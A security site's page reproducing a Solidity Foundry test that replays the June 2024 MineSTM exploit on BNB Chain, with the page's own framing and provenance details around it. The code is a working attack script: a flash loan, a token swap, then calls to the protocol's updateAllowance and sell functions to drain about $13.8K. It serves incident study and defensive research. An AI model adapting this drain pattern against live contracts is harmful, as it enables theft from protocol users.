Skip to content
THREATWIRE

Public reproduction file

src/test/2024-06/MineSTM_exp.sol

Public reproduction file for dataset entry MineSTM.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-06/MineSTM_exp.sol62 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : $13.8K
8// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x849ed7f687cc2ebd1f7c4bed0849893e829a74f512b7f4a18aea39a3ef4d83b1
9// Attacker Address : https://bscscan.com/address/0x40a82dfdbf01630ea87a0372cf95fa8636fcad89
10// Attack Contract : https://bscscan.com/address/0x88c17622d33b327268924e9f90a9e475a244e3ab
14interface IMineSTM {
15 function updateAllowance() external;
17 function sell(
18 uint256
19 ) external;
22contract ContractTest is Test {
23 Uni_Pair_V3 constant BUSDT_USDC = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
24 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
25 IERC20 STM = IERC20(0xBd0DF7D2383B1aC64afeAfdd298E640EfD9864e0);
26 Uni_Pair_V2 constant BUSDT_STM = Uni_Pair_V2(0x2E45AEf311706e12D48552d0DaA8D9b8fb764B1C);
27 Uni_Router_V2 constant ROUTER = Uni_Router_V2(0x0ff0eBC65deEe10ba34fd81AfB6b95527be46702);
28 uint256 flashBUSDTAmount = 50_000 ether;
29 IMineSTM mineSTM = IMineSTM(0xb7D0A1aDaFA3e9e8D8e244C20B6277Bee17a09b6);
31 function setUp() public {
32 vm.createSelectFork("bsc", 39_383_150 - 1);
33 }
35 function testExploit() public {
36 BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, abi.encodePacked(uint256(1)));
38 emit log_named_decimal_uint("Profit: ", BUSDT.balanceOf(address(this)), 18);
39 }
41 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
42 BUSDT_STM.sync();
43 BUSDT.approve(address(ROUTER), flashBUSDTAmount);
45 address[] memory path = new address[](2);
46 path[0] = address(BUSDT);
47 path[1] = address(STM);
49 ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
50 flashBUSDTAmount, 0, path, address(this), block.timestamp
51 );
53 STM.approve(address(mineSTM), type(uint256).max);
54 mineSTM.updateAllowance();
55 mineSTM.sell(81);
56 mineSTM.sell(7);
58 BUSDT.transfer(msg.sender, flashBUSDTAmount * 10_001 / 10_000);
59 }
61 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “MineSTM” (2024-06-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x40a82dfdbf01630ea87a0372cf95fa8636fcad89

  • Attack Contract

    0x88c17622d33b327268924e9f90a9e475a244e3ab

  • Attack Tx

    0x849ed7f687cc2ebd1f7c4bed0849893e829a74f512b7f4a18aea39a3ef4d83b1

File record

Name
MineSTM
Path
src/test/2024-06/MineSTM_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6279671d830792c119637efd063c3646248cec1e
Language
Solidity
Size
63 lines
Date
2024-06-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-06/MineSTM_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6279671d830792c119637efd063c3646248cec1e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.